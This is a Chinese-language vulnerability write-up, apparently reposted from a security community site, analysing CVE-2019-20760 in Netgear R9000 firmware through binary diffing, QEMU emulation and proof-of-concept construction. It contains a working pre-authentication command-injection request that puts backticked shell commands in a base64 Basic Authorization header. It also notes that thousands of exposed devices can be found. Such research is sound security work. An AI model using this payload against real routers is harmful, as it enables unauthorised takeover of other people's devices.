Netgear R9000設備2019年爆出認證繞過漏洞CVE-2019-20760,題目之所以說這個漏洞遠被低估,主要以下兩個原因:
實際漏洞危害較大,公開信息僅顯示該漏洞為一個認證繞過漏洞,沒有具體漏洞信息或者POC,但是經過分析,發現該漏洞其實是一個認證前的注入漏洞,攻擊者只需要知道設備ip便可以獲取設備的最高控制權;
影響範圍廣,另外在測試中發現R7800的1.0.2.62版本;R7500的1.0.3.46版本等也受此漏洞影響,簡單推測影響範圍應該還有其它多款系列型號;
影響數量大,據fofa檢索,暴露在公網的設備中R9000數量大概有5000臺,R7800大概有15000臺,而且還不算其它可能受影響的型號數量,而且由於官方信息只是說明為認證繞過漏洞,猜測也並沒有引起廣泛注意而更新固件。
由於該漏洞公告只有大概信息,下文記錄針對R9000型號的該漏洞分析定位調試的過程。
漏洞點分析根據漏洞公告信息,Netgear R9000設備1.0.4.26版本前存在認證繞過漏洞,但是並沒有詳細說明漏洞點位置,嘗試根據公告信息結合二進位比對查找漏洞點。
固件下載及解析通過以下地址可以下載存在漏洞版本固件以及修復版本固件
漏洞版本固件下載連結https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.26.zip修復版本固件下載連結https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.28.zip兩固件均通過binwalk可常規解壓獲得文件系統
查找web處理程序通過查找Referer字符串來確定一下web處理程序
$ grep -r "Referer"
Binary file usr/bin/curl matches
Binary file usr/sbin/wget matches
Binary file usr/sbin/uhttpd matches
Binary file usr/lib/libcurl.so.4.3.0 matches
Binary file bin/fbwifi matches
Binary file bin/ookla matches
Binary file iQoS/R9000/TM/data_colld matches
Binary file iQoS/R8900/TM/data_colld matches通過命名即可判斷web處理的二進位應該是uhttpd
二進位比對使用diaphora來進行二進位比對操作。
diaphora使用非常簡單,首先使用IDA打開漏洞版本1.04.26版本文件系統中的uhttpd,選擇File--Script file...--diaphora.py,在彈出框中點擊OK,然後再使用IDA打開修復版本1.04.28版本文件系統中的uhttpd,同樣方法打開diaphora,在彈出框中的SQLite database to diff against中選擇1.04.26版本的uhttpd生成的sqlite文件,再點擊OK即可開始比對,稍等片刻,便會出現比對結果。
可以查看Partial matches,其中login_type函數進入後除了命名沒有太多改變,所以主要查看uh_cgi_auth_check,選中這個函數後點擊右鍵——Diff Pseudo-code,可以在反編譯代碼的層面上查看差異點,左邊是修復版本,右邊是漏洞版本:
可以看出修復版本使用了dni_system,而漏洞版本snprintf後直接傳入system執行,猜測漏洞點位於此處。
嘗試使用IDA打開漏洞版本的uhttpd的uh_cgi_auth_check函數:
直觀審計起來不是很好看,包括函數的參數是什麼也都不太清楚,這裡採用一個比較懶的方法,我嘗試找到了對應的源碼:
源碼下載地址https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.5.24.zip源碼對應位置並沒有相應的system函數,猜測是官方故意做了一些隱藏,但是可以藉由源碼恢復出來很多結構信息。
具體操作可以參考cve-2018-5767 Tenda AC15 棧溢出漏洞調試比較簡單,這裡不再贅述。
定位漏洞點在漏洞版本中,恢復完符號表以後可以清楚的看出,數據包頭中的Authorization中Basic後數據經過base64解碼後,其中:後邊的password參數會被傳入snprintf,然後調用system來執行,造成漏洞。
前文已經說明,在修復版本中,沒有直接調用system,換成了dni_system,查看一下dni_system;
可以看出,dni_system採用了execve來執行命令,只有參數可控,是無法做到RCE之類的危害的。
漏洞復現web模擬查看etc/init.d/uhttpd
cat ./etc/init.d/uhttpd
.
start() {
#config_load uhttpd
#config_foreach start_instance uhttpd
#mkdir /tmp/www
#cp -rf /usr/www/* /tmp/www
/www/cgi-bin/uhttpd.sh start
inetd
detplc
#for bug58012
touch /tmp/fwcheck_status
}可以看到啟動uhttpd使用了/www/cgi-bin/uhttpd.sh這個腳本
查看這個腳本:
╰─$ cat ./www/cgi-bin/uhttpd.sh
#!/bin/sh
REALM=`/bin/cat /module_name | sed 's/\n//g'`
UHTTPD_BIN="/usr/sbin/uhttpd"
PX5G_BIN="/usr/sbin/px5g"
uhttpd_stop()
{
kill -9 $(pidof uhttpd)
}
uhttpd_start()
{
$UHTTPD_BIN -h /www -r ${REALM} -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443
}
case "$1" in
stop)
uhttpd_stop
;;
start)
uhttpd_start
;;
restart)
uhttpd_stop
uhttpd_start
;;
*)
logger -- "usage: $0 start|stop|restart"
;;
esac其中-C /etc/uhttpd.crt -K /etc/uhttpd.key -s我們都可以省略掉,忽略https即可,REALM參數可以直接獲得:
$ cat ./module_name 130 ↵
R9000然後即可獲得uhttpd的啟動命令:
/usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80
使用file查看指令架構:
$ file ./bin/busybox
./bin/busybox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, no section header使用qemu-system打開armhf虛擬機,此步驟在IOT環境搭建–如何使用qemu運行各種指令架構程序中有詳細步驟,此處不再贅述
將文件系統拷貝進armhf虛擬機中,運行以下命令:
chroot . /usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80
沒有報錯,查看埠情況:
$ netstat -antp | grep uhttpd
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 2425/uhttpd
tcp6 0 0 :::80 :::* LISTEN 2425/uhttpd可以看到80埠已經啟動起來了,模擬成功
構造攻擊數據包在瀏覽器中訪問http://<device_ip>/cgi-bin/,可以彈出登錄框:
使用admin@admin帳戶登陸抓包如下:
GET /cgi-bin/ HTTP/1.1
Host: <your ip>
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close嘗試構造POC,
$ echo 'admin:`touch /abcd`' | base64
YWRtaW46YHRvdWNoIC9hYmNkYAo=構造數據包
GET /cgi-bin/ HTTP/1.1
Host: <Your IP>
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YHRvdWNoIC9hYmNkYAo=
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close發送數據包後查看文件系統
root@debian-armhf:~/squashfs-root# ls
abcd bin cloud_version default_language_version dev etc firmware_region firmware_time firmware_version hardware_version home hw_id iQoS lib mnt module_name overlay proc rom root sbin sys tmp usr var www可以發現abcd這個文件已經被創建,攻擊成功。
總結本漏洞NVD的評分是8.8,然而對於這種認證前的RCE漏洞,個人認為評分是低了,知道設備的ip信息,便可以獲取該設備最高控制權,該漏洞危害性還是比較大的。而且在測試中,發現該漏洞影響的設備型號也並不止R9000這一款。
IoT漏洞分析中,認證流程分析是必不可少的一環,直接在認證過程中就將用戶輸入沒有做任何校驗直接傳入system,漏洞還是很明顯也比較簡單。
另外,通過二進位比對方法來找1day漏洞,也是一種比較簡潔取巧的方法。
原文來自: 先知社區
原文連結: https://xz.aliyun.com/t/9125
歡迎掃描關注我們,及時了解最新安全動態、學習最潮流的安全姿勢!